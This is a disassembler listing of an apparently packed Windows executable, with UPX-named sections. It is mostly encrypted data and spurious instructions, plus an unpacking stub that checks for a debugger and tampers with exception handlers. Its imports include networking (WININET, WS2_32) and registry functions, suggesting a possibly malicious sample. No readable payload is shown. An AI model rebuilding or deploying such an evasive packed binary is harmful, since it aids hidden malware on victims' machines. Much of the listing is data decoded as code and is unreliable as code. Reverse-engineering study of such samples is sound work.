		dd 6060686Ah, 357E357Fh, 508F3528h, 392A3F1Dh, 3D313C3Ch
		dd 7F8BAFAFh, 0D8F7764h, 0E9369963h, 25DD51A1h,	0DAAEDB55h
		dd 57C96C56h, 0AFDA8F16h, 607C56EFh, 0D8C96416h, 0BDB21757h
		dd 8AB85ABBh, 35327EAAh, 0AF3FAF37h, 0C3217EABh, 425199C9h
		dd 0ADC1EDADh, 22915746h, 0AD12FA38h, 40ADFA36h, 0ABFD88EAh
		dd 0F94C44A7h, 0A3994AC8h, 0D658A1C8h, 40952152h, 0AF89ADD7h
		dd 679B0FC0h, 4CC609C2h, 0B4446A28h, 5A2D2107h,	0A68F2D6Ah
		dd 0A3152199h, 0D954A1CDh, 0CC54A159h, 9EC1AE97h, 37E41041h
		dd 40A0B3A3h, 0E25B814Ch, 0A7AB4B09h, 99CB3026h, 44895175h
		dd 9A47F254h, 0A9342FC9h, 38DD7B08h, 4AFEC131h,	4DC63631h
		dd 8A8E8B41h, 0E27837h,	44C95098h, 7605078Ch, 8BEDEF42h
		dd 90F41E6Fh, 0C91942C1h, 5004A7BDh, 9A6A9444h,	0ABEB5F9Bh
		dd 4C6C2189h, 71B474AFh
		dd 9D9D9F4Ah, 0A77C36DFh, 0D136896Fh, 0E0AB436Fh, 9D93D3E8h
		dd 34F80D42h, 993C8F6Bh, 0FE754D9Bh, 0C3AD5C74h, 180AAE99h
		dd 4490C6F6h, 0F7791C4Ch, 30CCA3BBh, 0EAC737BFh, 0A46446BAh
		dd 8BA52176h, 0AFA72E9Dh, 0BF436BA9h, 673B1679h, 17368E0Fh
		dd 0E7FAF8BCh, 0D549A0FBh, 51AFAFC0h, 0BDAF95E7h, 0ADB9BCB9h
		dd 0ACB1ACE7h, 0A6AF99C9h, 0A50BEE0Fh, 0A2B9ACACh, 0ACA7BBACh
		dd 89FBFAA5h, 0FAA96497h, 0CF75E409h, 7AAFC7ADh, 0FC99367Ah
		dd 0E7D1C0C3h, 0D333CDC0h, 0C2219D99h, 6549EF60h, 92ABE0D3h
		dd 0C58C4401h, 7AC1225Ah, 82BE9821h, 0AFAFBDAFh, 0D08542F5h
		dd 0FA02CAB1h, 7ADD443Fh, 42E998CAh, 171ACADBh,	0FBCE0908h
		dd 0F3498BCBh, 3FAFAE8Fh, 0F23CBC70h, 0BDD5ED8Dh, 0B8F28FCEh
		dd 514BBD1h, 4FED9842h,	0BBDD7EC6h, 0AFB6D5D4h,	0CAD58842h
		dd 59CD420Ah, 0A8400ACAh, 0E77585C9h, 19AF8DE7h, 0AEAD2F36h
		dd 0AF9D742h, 0D552C592h, 0C154D242h, 0F8CBA30Ah, 9FA79B3Dh
		dd 3AFD50Dh, 0DF22121Dh, 4824180Dh, 0AED59803h,	52503256h
		dd 0AFAFA1FDh, 1E701300h, 1F070415h, 701B02h, 2171F02h
		dd 61701D11h, 0AFAB479Dh, 111CA6E1h, 5A521D1Eh,	343E3907h
		dd 7023273Fh, 70223F36h, 7D865307h, 373B2F3Dh, 20253F22h
		dd 314A635Eh, 0E731D77h, 62B93C6Eh, 62627108h, 1E617E62h
		dd 56A97004h, 70488A3Bh, 0F420626Ch, 0EB23DBh, 5A57497Bh
		dd 173AF5Ch, 502DD333h,	445A4154h, 0EB845570h, 9AEB0BB8h
		dd 1B1C5039h, 50000303h, 0ABD2C706h, 58994E8Fh,	745007B0h
		dd 5034503Eh, 5027503Fh, 0A6A66A23h, 6024CB32h,	69DC5951h
		dd 53736550h, 4D14E6B6h, 8A50577Eh, 341E2951h, 8A7058FBh
		dd 0C234CAD7h, 7653CF07h, 3DD33098h, 17731651h,	23AF1057h
		dd 50565F73h, 4F514056h, 0B0D8DA45h, 0AF305018h, 501FB5AFh
		dd 3A49D114h, 19B4A22Ah, 60FF784Ch, 37402475h, 711FB103h
		dd 8F0C148Fh, 54506025h, 7DFE3BFFh, 0AED570Ch, 0DD310C58h
		dd 1D258CDDh, 5066577Eh, 60277E68h, 8B2BFF31h, 0BC50194Bh
		dd 6B745013h, 7D33506Fh, 349F704Fh, 548C58F2h, 0B44E9210h
		dd 50AF46EFh, 5E508E8Eh, 51CF4650h, 67BF7652h, 78101231h
		dd 0DB415349h, 0E8388E9Bh, 8324893Ch, 7A335020h, 0EE12C68Bh
		dd 0CF753BCCh, 25185E40h, 546DD18Dh, 443044Bh, 0ABCF760Ah
		dd 933868Ch, 9B970C72h,	55D73515h, 0A3186B05h, 40535B50h
		dd 5140E818h, 64CFAFABh, 783A5155h, 0E15C6949h,	0F8CB4180h
		dd 891F9050h, 350FA57Eh, 0D4FA80Fh, 4CBBDAD8h, 0B8CF4199h
		dd 18407B6Ch, 0CF758130h, 0A45CBCDBh, 5CF030F3h, 295F705Ch
		dd 5CE15CF0h, 1EAFEE50h, 0D85CF0DEh, 50595010h,	505753BCh
		dd 19B14E91h, 1F1044C5h, 0EF10202Ch, 0E2792B72h, 43135750h
		dd 6FA0CE29h, 5043D528h, 0B9F60BFBh, 7FA84043h,	52239665h
		dd 735EAEAFh, 60918210h, 0D4586608h, 0B4A213D8h, 40E92D83h
		dd 0E851AFBEh, 0A2705C40h, 0FD296631h, 5F2F575Dh, 0B5CF7588h
		dd 20514845h, 0C0565FD4h, 5FD4295Fh, 52505FC5h,	0ACCE1DD7h
		dd 3C5FD42Fh, 98CA505Fh, 0F8D4FA8Eh, 9A43133Fh,	4FDC596Fh
		dd 83E39h, 6C220070h, 5090F68Bh, 69511416h, 996C3B62h
		dd 426CD41Fh, 11522545h, 2B725003h, 0C44CD45Dh,	0FFAFCB51h
		dd 9656BB4Ch, 23750C0Ch, 3320390Ch, 0CFD13674h,	0BCAFA92Fh
		dd 0B4AF574Ch, 14350350h, 37253235h, 3C392639h,	11353735h
		dd 0E2368B34h, 23253AAFh, 3B3F0424h, 23473E35h,	25423F1Ch
		dd 0C22F26ADh, 3C310620h, 47113525h, 3F78201Fh,	7FAE5C33h
		dd 642374E6h, 26343113h, 63392031h, 42B2FEB3h, 3524252Fh
		dd 43613D22h, 0EB533962h, 35F32F42h, 22040F45h,	69072931h
		dd 0BF22134Bh, 358BBD8Ch, 35024E31h, 4553F3Dh, 6445C38h
		dd 3E242239h, 25E686BDh, 378110Ch, 25F2815h, 0F163E22h
		dd 1B65862Ah, 1872A3A5h, 0D3000404h, 0D9217F8Eh, 0B627010h
		dd 5D1B1F70h, 8BAD515Ah, 3F1BADFDh, 7D52143Eh, 2437541Ch
		dd 75706A38h, 7931BD25h, 787F48CBh, 0A4E92904h,	763B2DE6h
		dd 393C20F7h, 4539D533h, 0F37D287Fh, 9B27BE88h,	3D3F337Dh
		dd 359D2220h, 0B8F0734h, 5084AF78h, 50041517h, 41345236h
		dd 8D7BADF1h, 3DC52387h, 0E1332623h, 3DF28D87h,	35512735h
		dd 0F625F58h, 0AD9C8CB6h, 64612547h, 5557A753h,	0CA393E57h
		dd 6162537Eh, 88436960h, 68E3C32Bh, 7356284Fh, 5CCB8C57h
		dd 1F606162h, 2F2F2579h, 0EB70C8ABh, 2150305h, 1E581419h
		dd 50560819h, 18712B09h, 756AB8F1h, 95F79D34h, 3AFA2A6h
		dd 704161Fh, 0C150211h,	233F391Dh, 8D0C933Fh, 0E7D3A086h
		dd 2225130Ch, 98065922h, 0E50CAE23h, 293B112h, 2903EC25h
		dd 0A202C0ADh, 0B7F1D72Fh, 363407CAh, 3E382331h, 3423342Ah
		dd 2686423Ch, 27190343h, 0C076F31h, 5E8830F1h, 2DB693Ch
		dd 0E41B5D07h, 53CC7386h, 362170A5h, 0A75ED6BFh, 26703739h
		dd 68264BADh, 0CD623526h, 37E9E61Bh, 40037034h,	0E84B3514h
		dd 4471E267h, 4B47730Ch, 0CB620C6Fh, 12501CFBh,	0FCC1706Fh
		dd 6DCF4A65h, 0E04EEF73h, 5604FD12h, 391467C2h,	3DEBCE23h
		dd 36BE26C4h, 0CC3D377Fh, 3C7FA67Ah, 33743399h,	2924395Ah
		dd 3E311D70h, 895B94Eh,	61994AE1h, 95CDE4DCh, 2648326h
		dd 585E1103h, 0AFAFBFECh, 0F4914BAFh, 8D19CFDEh, 348B4F15h
		dd 5DB5E595h, 739BB2FAh, 3333C972h, 2348184Ch, 0BDAFAFAFh
		dd 0DCCA93A2h, 9C1DD506h, 83FD5FB1h, 67394556h,	0C8F8ADDDh
		dd 9E205B46h, 4415001Fh, 0A867AFAFh, 0BF621A69h, 8817FEB3h
		dd 0EAD48FEDh, 23D0674Eh, 5DA5DBD1h, 0C2B02D1Ah, 0B88FAFAFh
		dd 0E8957DAEh, 0D5B07096h, 38EDCCh, 0E6793Ah, 129364D2h
		dd 0C858412Fh, 0AFAFAFAFh, 0B7E7E24Ch, 27D9CDCCh, 83C74A6Dh
		dd 0DD0079F4h, 166AC6F5h, 42B8ACDDh, 0FF40BB46h, 0A8152014h
		dd 0AFAFAFBAh, 28C63A80h, 113CFE1h, 0D6F877BBh,	59DA6920h
		dd 0F192448Eh, 462A0391h, 0C7D594EFh, 0F08FF328h, 0C879B75Fh
		dd 3D9CECEh, 0C45774AEh, 0AFAFAFAFh, 25F3BC9Ah,	0A94DF14Eh
		dd 9B95E4B8h, 0A08B4A1Eh, 0D7693987h, 2BC4DC4Ah, 0D2434896h
		dd 1BEF6EE3h, 0A07FAFAFh, 0BB37B012h, 30E767E2h, 8788E3FAh
		dd 3554D072h, 0AF1BF62Ah, 15D508D6h, 0AC4BAFF6h, 0BEA93EA6h
		dd 62C09906h, 0E7F66B1Ah, 0BB83882Ah, 0C7BE1233h, 0A75448D8h
		dd 61000FB8h, 0F6CA539Ch, 0C8E4CA39h, 7C6C0828h, 39E29D64h
		dd 8C0EA844h, 6483E49Ch, 0C0F4831Dh, 5B3024D0h,	2112B93Dh
		dd 0B3D7ECFh, 3C8C5525h, 0F7380B74h, 0E750197Eh, 0C6E65D34h
		dd 3B957C7Dh, 314C37FDh, 8B51A03Eh, 7C25D688h, 2A3F7F22h
		dd 208B2932h, 1189FCECh, 0F4442232h, 0FD305C29h, 8293C75h
		dd 86371A68h, 9A3B16A1h, 237E31E6h, 0D4772528h,	3E976A66h
		dd 6D7E4616h, 3DD0E037h, 7F9A16DEh, 554C3C78h, 3764EB2Bh
		dd 413F204Ah, 43312A7Eh, 9F4B3693h, 31AE6359h, 104A0F43h
		dd 373FDE3Eh, 273B2513h, 370DEDC0h, 4F24880Eh, 4FF53334h
		dd 0ACF9BB09h, 7D233F3Ch, 0F77E0831h, 3BFDE270h, 0FB25B30Bh
		dd 0EE32463Ch, 0E6EB756Dh, 2236E97Fh, 1A313C36h, 5EBC59AEh
		dd 31223763h, 24317E2Ah, 3D5BD1D0h, 2766D73Dh, 2DEB8A7Dh
		dd 4EB5FE3Ah, 33329B25h, 0EF373671h, 2F8B5BBAh,	3D3C3B3Ah
		dd 21203F3Eh, 27C22402h
		db  28h	; (
		db 29h,	2Ah, 8Ah
		db    8
		db 0AEh, 0Fh, 0A9h
		db  11h
		db 12h,	13h, 14h
		db  15h
		db 16h,	17h, 18h
		db  19h
		db 1Ah,	1Bh, 1Eh
		db 0ACh	; 
		db 1, 7, 2Bh
		db 0F1h	; 
		db 8, 10h, 4
		db  4Ah	; J
		db 8, 9, 0Ah
		db  4Bh	; K
		db 0E8h, 0FDh, 0A5h
		db    2
		db 0D1h, 0F0h, 27h
		db  68h	; h
		db 70h,	7Ah, 0E6h
		db  57h	; W
		db 0B9h, 10h, 71h
		db  52h	; R
		db 37h,	0DCh, 0AFh
		db  9Bh	; 
		db 1Bh,	5Ch, 0A6h
		db    6
		db 9Ah,	13h, 1Bh
; ---------------------------------------------------------------------------
		jo	short loc_31508081
		add	[esi+3], dh
		lds	edi, [esi]
		cmpsb
		xor	al, 5Bh
		pop	ds
		push	ds
		pop	ss
		assume ss:UPX0
		pop	edx
		pop	ebx
		sbb	[edi-4], ebp
		or	eax, 656457AAh
		retn	1F1Ah
; ---------------------------------------------------------------------------
		dw 7F5Ch
		dd 4190501h, 74D13B3Fh,	172B064Ah, 0E6B5A736h, 24734133h
		dd 0D44729E5h, 90B0570Fh, 70F2529Bh, 0EE86A378h, 3253B80Dh
		db 34h
; ---------------------------------------------------------------------------


loc_31508081:				; CODE XREF: UPX1:3150803Cj
		imul	esi, [eax+64h],	19h
		adc	eax, 59456670h	; CODE XREF: UPX1:3150809Dj
		push	esi
		pop	ebx
		pusha
		cld
		dec	esi
		in	al, 65h
		adc	[esi+20h], al
		bsf	edi, [ecx+50h]
		cmp	esp, [edi]
		and	[ebx+31h], edx
		jl	short near ptr loc_31508085+4
		sahf
		in	eax, 0B6h	; Interrupt Controller #2, 8259A
		push	edx
		sbb	eax, 395F570Ch
		push	ebx
		sub	al, 42h
		pop	eax
		out	39h, eax
		xor	eax, 9743617Dh
		imul	bl
		pop	eax
		ficom	dword ptr [ecx+ebx*2-385041F0h]
		scasd
		push	ecx
		cmp	al, 23h
		and	al, 22h
		xor	edi, ds:35171120h
		and	al, 1Ch
		aas
		xor	esi, [ecx]
		cmp	al, 35h
		sbb	[esi], edi
		db	36h
		aas
		pop	edi
		or	esp, [ecx]
		push	es
		les	eax, [ebx]
		add	dl, [ecx+ebx*2]
		xor	edi, [esi+15h]
		out	44h, eax
		das
		sub	[ebp+7], eax
		or	ds:8DA1716h, esi
		shl	dword ptr [eax-32h], cl
		add	al, 39h
		retf	0C7EDh
; ---------------------------------------------------------------------------
		db 0E9h, 3Dh, 5Eh
		db  5Bh	; [
		db 4, 3Fh, 70h
		db  45h	; E
		db 0F0h, 35h, 0BDh
		db  5Ch	; \
		db 50h,	16h, 11h
		db  5Ch	; \
		db 0EFh, 12h, 6Ch
		db 0A6h	; 
		db 5Dh,	6Fh, 1Dh
; ---------------------------------------------------------------------------
		aas
		xor	al, 0FCh
		jge	short loc_3150812F
		xor	[esi-20h], eax
		retn
; ---------------------------------------------------------------------------
		db 7Dh,	11h, 0DEh
		dd 2E0E1139h, 56A45ABFh, 13598F4Fh, 4E29203Fh, 682BAEB4h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		cmp	[esi], edi


loc_3150812F:				; CODE XREF: UPX1:3150810Fj
		adc	eax, 0D1013528h
		cmpsb
		scasd
		push	esi
		mov	ebp, 0CA3C3F2Eh
		and	[ebx+62h], ah
		add	edi, [esi]
		xor	[eax], esp
		and	edi, [eax]
		aas
		and	al, 49h
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db 0FDh, 9Dh, 0F0h
		db  83h	; 
		db 42h,	62h, 22h
		db  23h	; #
		db 5Fh,	4, 55h
		db  23h	; #
		db 0FDh, 11h, 96h
		db  65h	; e
		db 7Ch,	48h, 0A6h
		db  56h	; V
		db 0ABh, 0D0h, 71h
		db  1Eh
		db 35h,	28h, 24h
		db  38h	; 8
		db 20h,	22h, 4
		db  3Ch	; <
		db 9Bh,	37h, 28h
		db  15h
		db 26h,	58h, 0AFh
		db  31h	; 1
		db 16h,	0DBh, 3
		db 0E1h	; 
		db 0E9h, 0E7h, 12h
		db 0B4h	; 
		db 2Bh,	1Fh, 32h
		db  3Ah	; :
		db 0C9h, 44h, 14h
		db 0C6h	; 
		db 37h,	43h, 5Ah
		db  9Fh	; 
		db 45h,	0E7h, 1Ch
		db  31h	; 1
		db 15h,	99h, 9Ah
		db 0FDh	; 
		db 45h,	6Ah, 76h
		db  7Fh	; 
		db 15h,	28h, 33h
		db 0E2h	; 
		db 8Bh,	31h, 2Bh
		db    4
		db 73h,	3Eh, 0Ch
		db  56h	; V
		db 35h,	20h, 35h
		db 0C7h	; 
		db 7Ch,	59h, 0Fh
		db  41h	; A
		db 17h,	3Eh, 7Eh
		db  42h	; B
		db 3Fh,	0F0h, 88h
		db  6Fh	; o
		db 5Bh,	11h, 34h
		db  34h	; 4
		db 22h,	5Fh, 44h
		db  1Ch
		db 39h,	32h, 22h
		db  78h	; x
		db 5Ch,	0E6h, 0D4h
		db  31h	; 1
		db 0D9h, 7Bh, 1Dh
		db  75h	; u
		db 16h,	8Ch, 58h
		db  37h	; 7
		db 4Fh,	0FBh, 0Fh
		db  35h	; 5
		db 18h,	5Eh, 40h
		db 0C6h	; 
		db 14h,	0D7h, 0CFh
		db  9Bh	; 
		db 3Ch,	0B1h, 92h
		db  3Ch	; <
		db 46h,	4Dh, 20h
		db 0F2h	; 
		db 33h,	3Bh, 17h
		db  7Dh	; }
		db 81h,	31h, 3Dh
		db  25h	; %
		db 22h,	0B5h, 1Dh
		db  8Fh	; 
		db 28h,	3Ch, 66h
		db 0D9h	; 
; ---------------------------------------------------------------------------
		retn	94A3h
; ---------------------------------------------------------------------------
		db  5Dh	; ]
		db 3Ah,	0C8h, 15h
		db 0C8h	; 
		db 61h,	49h, 5Eh
		db  32h	; 2
		db 0D1h, 5Eh, 2Bh
		db  13h
		db 49h,	0B9h, 61h
		db  19h
; ---------------------------------------------------------------------------
		retn	8B33h
; ---------------------------------------------------------------------------
		db  26h	; &
		db 0D3h, 0B4h, 3Bh
		db  35h	; 5
		db 34h,	5Ah, 33h
		db  43h	; C
		db 3Dh,	7Dh, 2
		db  0Dh
		db  28h	; (
		db  99h	; 
		db  20h
		db  4Bh	; K
		db  6Ah	; j
		db  58h	; X
		db  15h
		db  2Ah	; *
		db  35h	; 5
		db  76h	; v
		db  94h	; 
		db  43h	; C
		db 0D6h, 0Eh, 6Dh
		db  50h	; P
		db 81h,	38h, 8
		db 0F1h	; 
		db 9Dh,	0BEh, 45h
		db  29h	; )
		db 20h,	24h, 4Ah
		db 0E2h	; 
		db 94h,	40h, 57h
		db  9Dh	; 
		db 0E6h, 7Fh, 5Ah
		db  14h
		db 42h,	31h, 5Eh
		db 0BCh	; 
		db 2Bh,	55h, 93h
		db  26h	; &
		db 39h,	36h, 29h
		db  16h
		db 37h,	9Ah, 6Ch
		db  85h	; 
		db 46h,	0E0h, 0E7h
		db 0F1h	; 
		db 40h,	0DFh, 7
		db  3Fh	; ?
		db 29h,	7Ch, 41h
		db  3Dh	; =
		db 0D6h, 91h, 0EEh
		db  1Bh
		db 35h,	29h, 40h
		db    2
		db 0E2h, 4Eh, 35h
		db 0A9h	; 
		db 33h,	0D7h, 47h
		db  6Eh	; n
		db 0BFh, 44h, 11h
		db  33h	; 3
		db 21h,	25h, 39h
		db  22h	; "
		db 46h,	4Ah, 0D7h
		db  5Dh	; ]
		db 1Dh,	19h, 0DFh
		db  0Ch
		db 24h,	0E6h, 0E9h
		db    9
; ---------------------------------------------------------------------------
		cmpsd
		push	0FFFFFF91h
		aaa
		retn	0BF5Dh
; ---------------------------------------------------------------------------
		db  11h
		db 40h,	5Eh, 6Bh
		db 0C4h	; 
		db 71h,	5Dh, 6Eh
		db  5Fh	; _
		db 1, 0BCh, 0C0h
		db 0E0h	; 
		db 86h,	5Ah, 65h
		db  41h	; A
		db 75h,	60h, 0C8h
		db  95h	; 
		db 36h,	54h, 7Dh
		db  71h	; q
		db 40h,	0CEh, 0B1h
		db 0DEh	; 
		db 15h,	0E5h, 0Fh
		db  11h
		db 32h,	39h, 0A5h
		db    3
		db 38h,	1Dh, 93h
		db  16h
		db 44h,	0DBh, 0FFh
		db  3Eh	; >
		db 43h,	8Eh, 0A8h
		db  8Dh	; 
		db 0B5h, 27h, 6Bh
		db  28h	; (
		db 3Fh,	39h, 55h
		db  31h	; 1
		db 3Eh,	23h, 39h
; ---------------------------------------------------------------------------


loc_315082B4:				; CODE XREF: UPX1:315082E7j
		push	esp
		xor	edi, [edi+3F9BA6E6h]
		and	ecx, [edi]	; CODE XREF: UPX1:31508322j
; ---------------------------------------------------------------------------
		db 15h,	18h, 0Fh
; ---------------------------------------------------------------------------
		and	[esp+edx+130F5B37h], cl
		sub	[eax], ch
		push	3C1AC876h
		sbb	al, 0B7h
		sar	dword ptr [ebx], 1
		retn
; ---------------------------------------------------------------------------
		db 0D3h
		db  2Dh	; -
; ---------------------------------------------------------------------------
		xor	bh, [eax]
		push	edi
		and	[ecx], ch
		adc	bh, [edx+6Bh]
		jmp	short loc_31508324
; ---------------------------------------------------------------------------
		retf	9FB2h
; ---------------------------------------------------------------------------
		lea	ecx, [edi]
		cmp	[eax+63h], bh
		jns	short loc_315082B4
		imul	eax, [edi+2224234Ch], 19565D41h
		or	ebx, [ecx-1599C2C4h]


loc_315082FA:				; CODE XREF: UPX1:3150835Dj
		pop	edi
		cld
		and	al, 0E7h
		out	89h, al		; DMA page register 74LS612:
					; Channel 6 (address bits 17-23)
		cmp	al, 0C4h
		mov	ecx, 2327516Ch	; CODE XREF: UPX1:31508367j
		sub	al, 0DBh
		and	al, 36h
		dec	ecx
		sal	dh, cl
		dec	ecx
		add	cl, [ebx+35h]
		imul	eax, [esi], 6AF2C138h
		aas
		inc	esp
		mov	[ebx+61h], bl
		xor	esp, [esi+4Bh]
		jno	short loc_3150837D
		jns	short loc_315082BB


loc_31508324:				; CODE XREF: UPX1:315082DDj
		cmp	esi, esp
		rol	dword ptr [ebx], cl
		sbb	[edi+ebx], esi
		movsb
		add	[ebx-78h], ch
		cmpsb
		mov	al, 0DAh
		mul	dword ptr [ebp+5]
		and	edx, [ecx]
		inc	ecx
		cmp	al, 49h
		push	ecx
		or	ebx, [esi+1Eh]
		inc	ecx
		dec	ebx
		not	byte ptr [esi+67h]
		or	eax, 27C33EEBh
		add	eax, [edi]
		test	[ebp+20524F2h],	edx
		xor	al, 0F5h
		wait
		loop	near ptr loc_315083D0+1
		or	eax, [edx+52h]
		pop	eax
		and	edx, [edx+5Dh]
		push	ecx
		jl	short loc_315082FA
		loop	loc_315083DD
		imul	edi, [edi], 0E247645Bh ; CODE XREF: UPX1:3150837Bj
		jl	short near ptr loc_31508302+2
		loop	loc_315083C7


loc_3150836B:				; CODE XREF: UPX1:31508379j
		pop	ecx
		push	esp
		inc	ebx
		inc	eax
		add	al, 9Fh
		push	eax
		call	far ptr	0A516h:15000746h
		jnz	short loc_3150836B
		jg	short near ptr loc_31508361+3


loc_3150837D:				; CODE XREF: UPX1:31508320j
		or	eax, 53108377h
		lahf
		retf	4FBDh
; ---------------------------------------------------------------------------
		dw 5F50h
		dd 56515B51h, 4342645Ch, 0C8884D48h, 60B5512Bh,	8D5B6165h
		dd 5290597Ch, 205C573Bh
; ---------------------------------------------------------------------------
		ror	ebp, 1


loc_315083A6:				; CODE XREF: UPX1:315083F5j
		jmp	near ptr 71B4D220h
; ---------------------------------------------------------------------------
		db 57h
		dd 0E208B5DAh, 6B385356h
; ---------------------------------------------------------------------------


loc_315083B4:				; CODE XREF: UPX1:315083ECj
		fcom	qword ptr [edx+2F925126h]


loc_315083BA:				; CODE XREF: UPX1:31508409j
		xor	al, 0E0h
		push	ecx
		dec	esi
		or	[ebx], al
		and	eax, 53547EEAh
		arpl	ax, ax


loc_315083C7:				; CODE XREF: UPX1:31508369j
		xchg	eax, ecx
		pop	eax
		push	esi
		db	64h
		xchg	ax, sp
		nop
		db	67h
		cwde


loc_315083D0:				; CODE XREF: UPX1:31508353j
		mov	ebp, 7EB054A4h
		xor	al, 0C0h
		stosd
		popf
		inc	ecx
		inc	edx
		ja	short loc_31508437


loc_315083DD:				; CODE XREF: UPX1:3150835Fj
		db	3Eh
		or	[eax], bl
		push	30509068h
		push	eax
		sal	byte ptr [ecx],	1
		or	esi, [eax+6Dh]
		push	ebx
		jl	short loc_315083B4
		push	ecx
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jo	short loc_315083A6
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		xor	dh, ch
		push	eax
		xor	[eax], al
		popa
		fucomp	st(6)
		push	eax
		loopne	loc_315083BA
		scasd
		pop	es
		rcr	dword ptr [ebp-3FBF4451h], cl
		rol	al, 0C0h
		rol	al, 0DAh
		push	esi
		push	ss
		fcom	dword ptr [edi+17h]
		push	ecx
		mov	esp, ds:0D34EDB57h
		mov	esi, 228B41ACh
		mov	ebp, 505051E8h
		push	eax
		push	ecx
		mov	esp, ds:0D34EDB57h


loc_31508437:				; CODE XREF: UPX1:315083DBj
		mov	esi, 418B41ACh
		nop
		push	ecx
		mov	esp, [ebx]
		mov	edi, 4EDB5925h
		sar	dword ptr [esi+238B41ACh], cl
		mov	ah, 61h
		cdq
		sar	dword ptr [eax-6EA2DDADh], cl
		mov	al, 58h
		ficom	dword ptr [esi+16h]
		shl	dword ptr [eax-26DBDB51h], cl
		xchg	eax, ebp
		push	ecx
		mov	esp, ds:0D34EDB57h
		mov	esi, 418B41ACh
		cdq
		push	ecx
		mov	esp, ds:0D34EDB57h
		mov	esi, 418B41ACh
		cdq
		and	eax, 8B511170h
		and	eax, 0D34EDB57h
		mov	esi, 418B41ACh
		cdq
		push	ecx
		mov	esp, [ebx]
		mov	edi, 4EDB5925h
		sar	dword ptr [esi+238B41ACh], cl ;	CODE XREF: UPX1:315084DDj
		mov	ah, 0D3h
		xchg	eax, ecx
		push	edx
		shr	dword ptr [ebp-50505CB0h], 1 ; CODE XREF: UPX1:315084F6j
		rol	dword ptr [ecx+7F44DD51h], cl
		shr	dword ptr [ebp-25A0D954h], cl
		push	edx
		adc	bl, al
		push	edi
		pop	ss
		assume ss:nothing
		sbb	ds:0AF33B9A7h, esp
		scasd
		scasd
		rcr	bl, 52h
		rcl	dword ptr [edx-2CA826ACh], cl
		xchg	eax, edi
		push	esp
		sar	dword ptr [ecx+51A12754h], cl
		lahf
		mov	ecx, 0AFAFAF1Ch
		push	cs
		fldenv	byte ptr [edi+50509AE9h]
		push	eax
		ficom	dword ptr [edi+17h]
		jl	short near ptr loc_31508492+5
		insb
		push	ecx
		daa
		cmpsd
		shr	byte ptr [edi+51h], 1
		and	eax, 0DA57DBA2h
		andps	xmm6, oword ptr	[esi]
		xchg	eax, ecx
		mov	eax, 40909158h
		setalc
		xchg	eax, esp
		jns	short near ptr loc_3150849C+4
		sar	byte ptr [ebx-265FAE48h], 1
		push	edi
		rcl	dword ptr [edi-4D7726ABh], cl
		mov	ebp, ebx
		out	dx, al
		push	eax
		xor	[eax+50h], dl
		fist	dword ptr [edi+59h]
		nop
		and	al, 15h
		fisttp	dword ptr [edi]
		push	esp
		fst	st(4)
		pusha
		push	eax
		rcl	byte ptr [eax+50h], 1
		push	ecx
		mov	ds:5897D300h, eax
		scasd
		mov	ah, 0D0h
		push	eax
		push	eax
; ---------------------------------------------------------------------------
		db 0C5h	; 
		db 0DAh, 57h, 17h
		db  58h	; X
		align 2
		dw 8C24h
		db 0D9h	; 
		db 0A9h, 29h, 57h
		db  5Fh	; _
		db 0E7h, 57h, 17h
		db    0
		db 17h,	0E9h, 7
		db  18h
		db 0A2h, 0FEh, 5
aPPpyrWSUtIpPp1	db 'PPY$WSӓTPP1ǯPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP'
		db 'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP'
		db 'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP',0
		align 1000h
UPX1		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00009000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31509000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 90C4h, 908Ch, 3 dup(0)
		dd 90D1h, 909Ch, 3 dup(0)
		dd 90DEh, 90A4h, 3 dup(0)
		dd 90E9h, 90ACh, 3 dup(0)
		dd 90F4h, 90B4h, 3 dup(0)
		dd 9100h, 90BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C4D444h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h
		dd 6Eh,	72707377h, 66746E69h, 41h, 65746E49h, 74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
		dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh
		dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h
		dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h
		dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h
		dd 402377h, 8D3B41AAh, 402373h,	2BC3EF7Ch, 30FF64C0h, 0B8208964h
		dd 12345678h, 60000387h, 84000000h, 0
; ---------------------------------------------------------------------------
		push	eax
		xor	[eax], eax
		add	es:[eax], al
		push	eax

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		call	$+5
		push	ebp
		mov	ebx, [esp+8]
		nop
		mov	ebp, [esp+8+var_4]
		sub	[esp+8+var_4], 84h
		and	ebx, 0FFFFF000h
		sub	ebp, 401005h


loc_315092A2:				; CODE XREF: start+3Ej
		cmp	dword ptr [ebx+4Eh], 73696854h
